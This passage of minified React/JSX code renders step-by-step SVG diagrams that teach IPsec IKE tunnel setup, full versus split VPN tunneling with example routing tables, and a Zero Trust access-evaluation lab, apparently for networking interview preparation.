encryption.`}),(0,k.jsx)(`text`,{x:`10`,y:`39`,fill:`#475569`,fontSize:`7`,children:`⚠ Requires client software or dedicated site-to-site hardware.`}),(0,k.jsx)(`text`,{x:`10`,y:`50`,fill:`#6d28d9`,fontSize:`7`,fontWeight:`bold`,children:`✔ Gold standard for Branch Office interconnects.`})]})]})]}),(0,k.jsx)(`g`,{transform:`translate(40, 324)`,children:(0,k.jsx)(`text`,{x:`340`,y:`10`,textAnchor:`middle`,fill:`#64748b`,fontSize:`8`,fontFamily:`monospace`,children:e>=19?`RESULT: ✓ IPSEC L3 TUNNEL OPERATIONAL — ENTIRE BRANCH SUBNET ROUTED TO HQ`:e>=10?`PART B: ESTABLISHING IPSEC SITE-TO-SITE LAYER 3 ESP TUNNEL`:e>=8?`PART A: ✓ TLS/SSL VPN L7 ACCESS COMPLETE VIA HTTPS PORT 443`:`READY — ADVANCE STEP TO TRACE TLS/SSL VS IPSEC VPN SIMULATION`})})]})},Dn=({currentStepIndex:e})=>{let t=e>=2,n=e>=3,r=e>=4,i=e>=9,a=e>=13,o=e>=14,s=-100,c=!1,l=`IKE MSG`,u=`UDP 500`,d=`#0284c7`;return e===6?(c=!0,s=230,l=`IKE P1: PROPOSALS`,u=`AES-256 DH-14`):e===7?(c=!0,s=370,l=`DH KEY EXCHANGE`,u=`Public Keys Traded`,d=`#8b5cf6`):e===8?(c=!0,s=510,l=`PSK AUTHENTICATION`,u=`Identity Validated`,d=`#10b981`):e===11||e===12?(c=!0,s=370,l=`IKE P2: IPSEC SAs`,u=`ESP SPI Exchange`,d=`#8b5cf6`):e===14?(c=!0,s=90,l=`PLAINTEXT IP`,u=`10.1.0.5 ➔ 10.2.0.10`):e===15||e===16?(c=!0,s=370,l=`ESP PROTO 50`,u=`AES-GCM-256 [Encrypted]`,d=`#10b981`):e===17||e===18?(c=!0,s=650,l=`DECRYPTED IP PKT`,u=`Delivered to Site B Host`,d=`#10b981`):e===20?(c=!0,s=370,l=`ESP REPLY TUNNEL`,u=`10.2.0.10 ➔ 10.1.0.5`,d=`#10b981`):e>=21&&(c=!0,s=90,l=`REPLY RECEIVED ✓`,u=`Round-Trip Complete`,d=`#10b981`),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsxs)(`g`,{transform:`translate(40, 10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`680`,height:`22`,rx:`11`,fill:o?`#f0fdf4`:a?`#f5f3ff`:`#eff6ff`,stroke:o?`#86efac`:a?`#c4b5fd`:`#93c5fd`}),(0,k.jsx)(`text`,{x:`340`,y:`15`,textAnchor:`middle`,fill:o?`#15803d`:a?`#6d28d9`:`#1e40af`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:o?`DATA PLANE ACTIVE: ENCRYPTED ESP (PROTO 50) PACKETS TRANSITING SECURE IPSEC TUNNEL ✓`:a?`IKE PHASE 2 COMPLETE: IPSEC SAs INSTALLED ➔ READY FOR ENCRYPTED TRAFFIC`:i?`IKE PHASE 1 COMPLETE: ISAKMP SA ESTABLISHED ➔ SECURE CONTROL CHANNEL ACTIVE`:`IPSEC VPN TUNNEL ESTABLISHMENT: IKE PHASE 1 (ISAKMP) &amp; IKE PHASE 2 (QUICK MODE)`})]}),r&&(0,k.jsxs)(`g`,{opacity:`0.6`,children:[(0,k.jsx)(`line`,{x1:`120`,y1:`75`,x2:`230`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`line`,{x1:`510`,y1:`75`,x2:`610`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`rect`,{x:`240`,y:`67`,width:`260`,height:`16`,rx:`8`,fill:o?`#dcfce7`:i?`#f3e8ff`:`#f1f5f9`,stroke:o?`#10b981`:i?`#8b5cf6`:`#cbd5e1`,strokeWidth:1.5}),(0,k.jsx)(`text`,{x:`370`,y:`78`,textAnchor:`middle`,fill:o?`#15803d`:`#64748b`,fontSize:`7`,fontWeight:`bold`,children:o?`🔒 IPSEC ESP TUNNEL ACTIVE`:i?`🔒 ISAKMP SA (CONTROL CHANNEL)`:`PUBLIC INTERNET WAN`})]}),(e===6||e===16)&&(0,k.jsx)(A,{x1:`230`,y1:`75`,x2:`510`,y2:`75`,color:o?`#10b981`:`#0284c7`,label:o?`ESP PACKET`:`IKE MSG`}),e===20&&(0,k.jsx)(A,{x1:`510`,y1:`75`,x2:`230`,y2:`75`,color:`#10b981`,label:`ESP REPLY`}),n&&(0,k.jsx)(M,{cx:80,cy:75,label:`SITE A HOST`,ip:`10.1.0.5`,active:!0,success:o}),(0,k.jsxs)(`g`,{transform:`translate(210, 75)`,children:[(0,k.jsx)(`rect`,{x:`-35`,y:`-25`,width:`70`,height:`40`,rx:`6`,fill:`#0f172a`,stroke:o?`#10b981`:i?`#8b5cf6`:`#0284c7`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-8`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`7.5`,fontWeight:`bold`,children:`GATEWAY A`}),(0,k.jsx)(`text`,{x:`0`,y:`5`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`6.5`,fontFamily:`monospace`,children:`203.0.113.1`}),(0,k.jsx)(`text`,{x:`0`,y:`22`,textAnchor:`middle`,fontSize:`8`,fontWeight:`bold`,fill:`#0f172a`,children:`INITIATOR`})]}),t&&(0,k.jsxs)(`g`,{transform:`translate(530, 75)`,children:[(0,k.jsx)(`rect`,{x:`-35`,y:`-25`,width:`70`,height:`40`,rx:`6`,fill:`#0f172a`,stroke:o?`#10b981`:i?`#8b5cf6`:`#0284c7`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-8`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`7.5`,fontWeight:`bold`,children:`GATEWAY B`}),(0,k.jsx)(`text`,{x:`0`,y:`5`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`6.5`,fontFamily:`monospace`,children:`198.51.100.1`}),(0,k.jsx)(`text`,{x:`0`,y:`22`,textAnchor:`middle`,fontSize:`8`,fontWeight:`bold`,fill:`#0f172a`,children:`RESPONDER`})]}),n&&(0,k.jsx)(P,{cx:650,cy:75,label:`SITE B SERVER`,sub:`10.2.0.10`,active:!0,success:o}),c&&(0,k.jsx)(j,{cx:s,cy:75,label:l,sub:u,color:d}),(0,k.jsxs)(`g`,{transform:`translate(30, 140)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`190`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`9.5`,fontWeight:`bold`,children:`IKE NEGOTIATION STATE MACHINE & SECURITY ASSOCIATION (SA) DATABASE`}),(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`325`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`10`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`IKE PROTOCOL STATE MACHINE:`}),(0,k.jsxs)(`g`,{transform:`translate(8, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`309`,height:`48`,rx:`4`,fill:i?`#f5f3ff`:`#ffffff`,stroke:i?`#8b5cf6`:`#cbd5e1`}),(0,k.jsxs)(`text`,{x:`10`,y:`14`,fill:i?`#6d28d9`:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:[`IKE PHASE 1: ISAKMP SA (UDP 500) `,i?`✔ ESTABLISHED`:`⏳ NEGOTIATING`]}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:`#475569`,fontSize:`7`,children:`• Cipher: AES-256-CBC | Hash: SHA-256 | DH Group: 14 (2048-bit)`}),(0,k.jsx)(`text`,{x:`10`,y:`39`,fill:`#475569`,fontSize:`7`,children:`• Authentication: Pre-Shared Key (PSK) / X.509 PKI Certificate`}),(0,k.jsx)(`rect`,{x:`0`,y:`54`,width:`309`,height:`52`,rx:`4`,fill:a?`#dcfce7`:`#ffffff`,stroke:a?`#10b981`:`#cbd5e1`}),(0,k.jsxs)(`text`,{x:`10`,y:`14`,fill:a?`#059669`:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:[`IKE PHASE 2: IPSEC SAs (QUICK MODE) `,a?`✔ INSTALLED`:`⏳ PENDING`]}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:`#475569`,fontSize:`7`,children:`• Protocol: ESP (Proto 50) | Transform: AES-GCM-256 | Lifetime: 3600s`}),(0,k.jsx)(`text`,{x:`10`,y:`39`,fill:`#475569`,fontSize:`7`,children:`• Proxy IDs: 10.1.0.0/24 ⇄ 10.2.0.0/24 | In/Out SPI: 0x7A1F4C9B`})]}),(0,k.jsxs)(`text`,{x:`10`,y:`132`,fill:`#64748b`,fontSize:`7.5`,children:[`Tunnel State: `,(0,k.jsx)(`tspan`,{fill:o?`#059669`:`#6d28d9`,fontWeight:`bold`,children:o?`Bi-Directional Traffic Active (ESP)`:`Control Channel Negotiated`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(355, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`330`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`ESP PACKET ENCAPSULATION & CRYPTO STACK:`}),(0,k.jsxs)(`g`,{transform:`translate(12, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`34`,rx:`4`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#94a3b8`,fontSize:`7`,fontFamily:`monospace`,children:`[IPSEC TUNNEL MODE PACKET FORMAT]`}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:o?`#4ade80`:`#38bdf8`,fontSize:`7.5`,fontFamily:`monospace`,children:`[Outer IP: 203.0.113.1]➔[ESP Hdr: SPI]➔[Encrypted Inner IP: 10.1.0.5]➔[ESP Auth]`})]}),(0,k.jsxs)(`g`,{transform:`translate(12, 64)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`68`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`8`,fontWeight:`bold`,children:`Key Interview Concepts:`}),(0,k.jsxs)(`text`,{x:`10`,y:`28`,fill:`#475569`,fontSize:`7.5`,children:[`1. `,(0,k.jsx)(`tspan`,{fontWeight:`bold`,children:`Phase 1:`}),` Authenticates peers and creates secure control channel.`]}),(0,k.jsxs)(`text`,{x:`10`,y:`42`,fill:`#475569`,fontSize:`7.5`,children:[`2. `,(0,k.jsx)(`tspan`,{fontWeight:`bold`,children:`Phase 2:`}),` Negotiates unidirectional IPsec SAs for user payload.`]}),(0,k.jsxs)(`text`,{x:`10`,y:`58`,fill:`#059669`,fontSize:`7.5`,fontWeight:`bold`,children:[`3. `,(0,k.jsx)(`tspan`,{fontWeight:`bold`,children:`Tunnel Mode:`}),` Encrypts entire original IP packet + inner header.`]})]})]})]}),(0,k.jsx)(`g`,{transform:`translate(40, 324)`,children:(0,k.jsx)(`text`,{x:`340`,y:`10`,textAnchor:`middle`,fill:`#64748b`,fontSize:`8`,fontFamily:`monospace`,children:e>=21?`RESULT: ✓ SITE-TO-SITE IPSEC TUNNEL FULLY OPERATIONAL — ENCRYPTED TRANSIT VERIFIED`:e>=14?`DATA PLANE: TRANSMITTING ENCRYPTED ESP PACKET ACROSS PUBLIC INTERNET`:e>=9?`IKE PHASE 2: NEGOTIATING IPSEC SAs &amp; TRAFFIC SELECTORS`:e>=5?`IKE PHASE 1: DH KEY EXCHANGE &amp; PEER AUTHENTICATION`:`READY — ADVANCE STEP TO TRACE IKE PHASE 1 &amp; PHASE 2 TUNNEL SETUP`})})]})},On=({currentStepIndex:e})=>{let t=e>=10,n=e>=1,r=e>=2,i=e>=3,a=e>=4,o=-100,s=!1,c=`CORP TRAFFIC`,l=`10.10.0.5`,u=`#0284c7`;return e===5||e===6?(s=!0,o=230,c=`CORP ERP ➔ VPN`,l=`10.10.0.5 [Tunneled]`):e===7?(s=!0,o=510,c=`ERP SERVING`,l=`Full Tunnel Active`,u=`#10b981`):e===8||e===9?(s=!0,o=230,c=`YOUTUBE ➔ VPN ✕`,l=`Full Tunnel Bottleneck`,u=`#ef4444`):e===12||e===13?(s=!0,o=230,c=`CORP ERP ➔ VPN`,l=`Route: 10.10.0.0/16`,u=`#0284c7`):e===14?(s=!0,o=510,c=`ERP SERVED ✓`,l=`Secure Corporate Path`,u=`#10b981`):e===15||e===16?(s=!0,o=370,c=`YOUTUBE DIRECT`,l=`Route: 0.0.0.0/0 (Home ISP)`,u=`#10b981`):e>=17&&(s=!0,o=650,c=`DUAL PATH ACTIVE ✓`,l=`Bandwidth Optimized`,u=`#10b981`),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsxs)(`g`,{transform:`translate(40, 10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`680`,height:`22`,rx:`11`,fill:t?`#f0fdf4`:`#eff6ff`,stroke:t?`#86efac`:`#93c5fd`}),(0,k.jsx)(`text`,{x:`340`,y:`15`,textAnchor:`middle`,fill:t?`#15803d`:`#1e40af`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:t?`PART B: SPLIT TUNNELING — CORP TRAFFIC IN VPN, PUBLIC INTERNET OFFLOADED TO LOCAL ISP ✓`:`PART A: FULL TUNNELING — 100% OF ENDPOINT TRAFFIC ROUTED THROUGH CORPORATE VPN GATEWAY`})]}),a&&(0,k.jsxs)(`g`,{opacity:`0.6`,children:[(0,k.jsx)(`line`,{x1:`120`,y1:`55`,x2:`330`,y2:`55`,stroke:`#0284c7`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`line`,{x1:`410`,y1:`55`,x2:`610`,y2:`55`,stroke:`#0284c7`,strokeWidth:`2`,strokeDasharray:`4,4`}),t&&(0,k.jsx)(`line`,{x1:`120`,y1:`95`,x2:`610`,y2:`95`,stroke:`#10b981`,strokeWidth:`2`,strokeDasharray:`4,4`})]}),(e===6||e===8||e===13)&&(0,k.jsx)(A,{x1:`120`,y1:`55`,x2:`330`,y2:`55`,color:e===8?`#ef4444`:`#0284c7`,label:e===8?`VIDEO IN VPN ✕`:`VPN TUNNEL`}),(e===15||e===16)&&(0,k.jsx)(A,{x1:`120`,y1:`95`,x2:`610`,y2:`95`,color:`#10b981`,label:`DIRECT LOCAL ISP`}),(0,k.jsx)(M,{cx:80,cy:75,label:`REMOTE WORKER`,ip:`192.168.1.100`,active:!0,success:t}),n&&(0,k.jsxs)(`g`,{transform:`translate(370, 55)`,children:[(0,k.jsx)(`rect`,{x:`-44`,y:`-22`,width:`88`,height:`38`,rx:`6`,fill:`#0f172a`,stroke:e===8?`#ef4444`:`#0284c7`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-6`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`7.5`,fontWeight:`bold`,children:`CORP VPN GW`}),(0,k.jsx)(`text`,{x:`0`,y:`7`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`6.5`,fontFamily:`monospace`,children:`203.0.113.1`}),(0,k.jsx)(`text`,{x:`0`,y:`22`,textAnchor:`middle`,fontSize:`8`,fontWeight:`bold`,fill:`#0f172a`,children:e===8?`CONGESTION ✕`:`VPN CONCENTRATOR`})]}),r&&(0,k.jsx)(P,{cx:650,cy:55,label:`CORP ERP SERVER`,sub:`10.10.0.5 (Confidential)`,active:!0,success:e===7||e===14}),i&&(0,k.jsx)(P,{cx:650,cy:105,label:`PUBLIC YOUTUBE / CDN`,sub:`Public Internet`,active:!0,success:e>=15}),s&&(0,k.jsx)(j,{cx:o,cy:e>=15&&e<=16?95:55,label:c,sub:l,color:u}),(0,k.jsxs)(`g`,{transform:`translate(30, 140)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`190`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`9.5`,fontWeight:`bold`,children:`ENDPOINT ROUTING TABLE: FULL TUNNELING VS SPLIT TUNNELING POLICY`}),(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`325`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`10`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`CLIENT KERNEL ROUTING TABLE:`}),t?(0,k.jsxs)(`g`,{transform:`translate(8, 26)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`309`,height:`20`,rx:`3`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#4ade80`,fontSize:`7`,fontFamily:`monospace`,children:`Destination       Gateway        Interface    Path`}),(0,k.jsx)(`rect`,{x:`0`,y:`24`,width:`309`,height:`22`,rx:`3`,fill:`#dcfce7`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`10`,y:`38`,fill:`#059669`,fontSize:`7.5`,fontFamily:`monospace`,children:`10.10.0.0/16      10.10.0.1      tun0 (VPN)   SECURE CORP ✓`}),(0,k.jsx)(`rect`,{x:`0`,y:`48`,width:`309`,height:`22`,rx:`3`,fill:`#dbeafe`,stroke:`#93c5fd`}),(0,k.jsx)(`text`,{x:`10`,y:`62`,fill:`#1e40af`,fontSize:`7.5`,fontFamily:`monospace`,children:`0.0.0.0/0         192.168.1.1    wlan0 (ISP)  LOCAL DIRECT ✓`}),(0,k.jsx)(`rect`,{x:`0`,y:`72`,width:`309`,height:`34`,rx:`3`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`10`,y:`86`,fill:`#0f172a`,fontSize:`7`,fontWeight:`bold`,children:`Split Tunneling Effect:`}),(0,k.jsx)(`text`,{x:`10`,y:`98`,fill:`#475569`,fontSize:`6.8`,children:`Saves 80%+ corporate VPN bandwidth. Streaming is direct & fast.`})]}):(0,k.jsxs)(`g`,{transform:`translate(8, 26)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`309`,height:`20`,rx:`3`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#38bdf8`,fontSize:`7`,fontFamily:`monospace`,children:`Destination       Gateway        Interface    Mode`}),(0,k.jsx)(`rect`,{x:`0`,y:`24`,width:`309`,height:`24`,rx:`3`,fill:`#fee2e2`,stroke:`#fca5a5`}),(0,k.jsx)(`text`,{x:`10`,y:`40`,fill:`#991b1b`,fontSize:`7.5`,fontFamily:`monospace`,children:`0.0.0.0/0         10.10.0.1      tun0 (VPN)   FULL TUNNEL`}),(0,k.jsx)(`rect`,{x:`0`,y:`52`,width:`309`,height:`50`,rx:`3`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`66`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:`Full Tunnel Effect:`}),(0,k.jsx)(`text`,{x:`10`,y:`80`,fill:`#475569`,fontSize:`7`,children:`• All Zoom, YouTube, and personal traffic enters Corporate VPN.`}),(0,k.jsx)(`text`,{x:`10`,y:`94`,fill:`#b91c1c`,fontSize:`7`,children:`• Severe corporate internet pipe saturation and high latency.`})]}),(0,k.jsxs)(`text`,{x:`10`,y:`132`,fill:`#64748b`,fontSize:`7.5`,children:[`Active Mode: `,(0,k.jsx)(`tspan`,{fill:t?`#059669`:`#b91c1c`,fontWeight:`bold`,children:t?`Split Tunneling (Selective Routing)`:`Full Tunneling (Default Gateway Override)`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(355, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`330`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`SECURITY & PERFORMANCE COMPARISON:`}),(0,k.jsxs)(`g`,{transform:`translate(12, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`48`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:`Full Tunnel Security:`}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:`#059669`,fontSize:`7`,children:`✔ Corporate NGFW inspects 100% of user traffic.`}),(0,k.jsx)(`text`,{x:`10`,y:`39`,fill:`#b91c1c`,fontSize:`7`,children:`✕ High bandwidth costs & user streaming slowdowns.`})]}),(0,k.jsxs)(`g`,{transform:`translate(12, 76)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`56`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:`Split Tunnel Security:`}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:`#059669`,fontSize:`7`,children:`✔ Maximum internet performance & zero VPN bottlenecks.`}),(0,k.jsx)(`text`,{x:`10`,y:`39`,fill:`#b45309`,fontSize:`7`,children:`⚠ Endpoint direct internet exposure (Requires strong EDR/DNS agent).`}),(0,k.jsx)(`text`,{x:`10`,y:`50`,fill:`#0284c7`,fontSize:`7`,fontWeight:`bold`,children:`✔ Modern Best Practice: Split Tunnel + Cloud SASE / ZTNA.`})]})]})]}),(0,k.jsx)(`g`,{transform:`translate(40, 324)`,children:(0,k.jsx)(`text`,{x:`340`,y:`10`,textAnchor:`middle`,fill:`#64748b`,fontSize:`8`,fontFamily:`monospace`,children:e>=17?`RESULT: ✓ SPLIT TUNNELING ACTIVE — CORPORATE DATA PROTECTED, INTERNET OFFLOADED`:e>=10?`PART B: IMPLEMENTING SELECTIVE SPLIT ROUTING TABLE`:e>=8?`PART A: FULL TUNNELING CREATES CORPORATE BANDWIDTH BOTTLENECK`:`READY — ADVANCE STEP TO TRACE FULL VS SPLIT TUNNELING SIMULATION`})})]})},kn=({currentStepIndex:e})=>{let t=e>=1,n=e>=2,r=e>=3,i=e>=4,a=e>=14,o=-100,s=!1,c=`ACCESS REQ`,l=`app.finance.corp`,u=`#0284c7`;return e===6||e===7?(s=!0,o=180,c=`AUTH & POSTURE`,l=`MFA + EDR Telemetry`):e===8||e===9||e===10?(s=!0,o=310,c=`PDP EVALUATING`,l=`Context: Healthy ✓`,u=`#10b981`):e===11||e===12?(s=!0,o=460,c=`JIT MICRO-TUNNEL`,l=`PEP Dynamic Grant`,u=`#10b981`):e===13?(s=!0,o=650,c=`DB RESPONSE ✓`,l=`Authorized Session`,u=`#10b981`):e===15?(s=!0,o=310,c=`POSTURE FAILED ✕`,l=`No EDR / Unmanaged`,u=`#ef4444`):e>=16&&(s=!0,o=460,c=`EXPLICIT DENIAL ✕`,l=`PEP Drop (Zero Trust)`,u=`#ef4444`),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsxs)(`g`,{transform:`translate(40, 10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`680`,height:`22`,rx:`11`,fill:a?`#fef2f2`:e>=11?`#f0fdf4`:`#eff6ff`,stroke:a?`#fca5a5`:e>=11?`#86efac`:`#93c5fd`}),(0,k.jsx)(`text`,{x:`340`,y:`15`,textAnchor:`middle`,fill:a?`#991b1b`:e>=11?`#15803d`:`#1e40af`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:a?`ZERO TRUST VIOLATION: UNMANAGED ENDPOINT FAILS POSTURE CHECK ➔ EXPLICIT ACCESS DENIAL ✕`:e>=11?`ZERO TRUST VERIFIED: IDENTITY + MFA + DEVICE HEALTH OK ➔ JUST-IN-TIME MICRO-TUNNEL GRANTED ✓`:`ZERO TRUST (ZTNA) LAB: CONTINUOUS CONTEXT EVALUATION (NEVER TRUST, ALWAYS VERIFY)`})]}),i&&(0,k.jsxs)(`g`,{opacity:`0.6`,children:[(0,k.jsx)(`line`,{x1:`120`,y1:`75`,x2:`270`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`line`,{x1:`350`,y1:`75`,x2:`420`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`line`,{x1:`500`,y1:`75`,x2:`610`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`})]}),(e===6||e===14)&&(0,k.jsx)(A,{x1:`120`,y1:`75`,x2:`270`,y2:`75`,color:a?`#ef4444`:`#0284c7`,label:`ACCESS REQUEST`}),(e===12||e===13)&&(0,k.jsx)(A,{x1:`500`,y1:`75`,x2:`610`,y2:`75`,color:`#10b981`,label:`MICRO-SEGMENT`}),(0,k.jsx)(M,{cx:80,cy:75,label:a?`UNMANAGED DEVICE`:`MANAGED WORKSTATION`,ip:a?`Personal Laptop (No EDR)`:`Corp Asset (EDR Healthy)`,active:!0,danger:a,success:e>=11&&!a}),t&&(0,k.jsxs)(`g`,{transform:`translate(310, 75)`,children:[(0,k.jsx)(`rect`,{x:`-40`,y:`-25`,width:`80`,height:`40`,rx:`6`,fill:`#0f172a`,stroke:a?`#ef4444`:e>=8?`#10b981`:`#0284c7`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-8`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`7.5`,fontWeight:`bold`,children:`PDP ENGINE`}),(0,k.jsx)(`text`,{x:`0`,y:`5`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`6.5`,fontFamily:`monospace`,children:`IDP + POSTURE`}),(0,k.jsx)(`text`,{x:`0`,y:`22`,textAnchor:`middle`,fontSize:`8`,fontWeight:`bold`,fill:`#0f172a`,children:`POLICY DECISION`})]}),n&&(0,k.jsxs)(`g`,{transform:`translate(460, 75)`,children:[(0,k.jsx)(`rect`,{x:`-40`,y:`-25`,width:`80`,height:`40`,rx:`6`,fill:`#0f172a`,stroke:a?`#ef4444`:e>=11?`#10b981`:`#0284c7`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-8`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`7.5`,fontWeight:`bold`,children:`PEP GATEWAY`}),(0,k.jsx)(`text`,{x:`0`,y:`5`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`6.5`,fontFamily:`monospace`,children:`ZTNA EDGE`}),(0,k.jsx)(`text`,{x:`0`,y:`22`,textAnchor:`middle`,fontSize:`8`,fontWeight:`bold`,fill:`#0f172a`,children:`POLICY ENFORCEMENT`})]}),r&&(0,k.jsx)(P,{cx:650,cy:75,label:`FINANCIAL DB`,sub:`Stealth Mode (Zero Inbound)`,active:!0,success:e===13}),s&&(0,k.jsx)(j,{cx:o,cy:75,label:c,sub:l,color:u,dropped:a&&e>=16}),(0,k.jsxs)(`g`,{transform:`translate(30, 140)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`190`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`9.5`,fontWeight:`bold`,children:`ZTNA CONTEXTUAL EVALUATION ENGINE (NIST SP 800-207 ZERO TRUST PILLARS)`}),(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`325`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`10`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`PDP CONTEXT VERIFICATION CRITERIA:`}),(0,k.jsxs)(`g`,{transform:`translate(8, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`309`,height:`22`,rx:`3`,fill:`#dcfce7`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#059669`,fontSize:`7.5`,fontFamily:`monospace`,children:`✔ Identity & MFA: user@corp.com + FIDO2 Key 